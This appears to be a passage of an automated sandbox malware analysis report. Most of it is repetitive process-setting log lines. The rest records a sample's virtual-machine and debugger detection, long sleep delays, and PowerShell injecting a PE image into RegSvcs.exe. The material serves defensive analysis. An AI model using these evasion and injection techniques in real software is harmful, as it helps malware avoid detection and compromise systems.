Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4473	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 5856	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3963	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5160

Thread sleep time: -12912720851596678s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Amcache.hve.0.dr	Binary or memory string: VMware
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.0.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.0.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.0.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.0.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegSvcs.exe, 00000004.00000002.3150292171.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.0.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.0.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.0.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.0.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.0.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.0.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.0.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.0.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.0.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: A0C008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
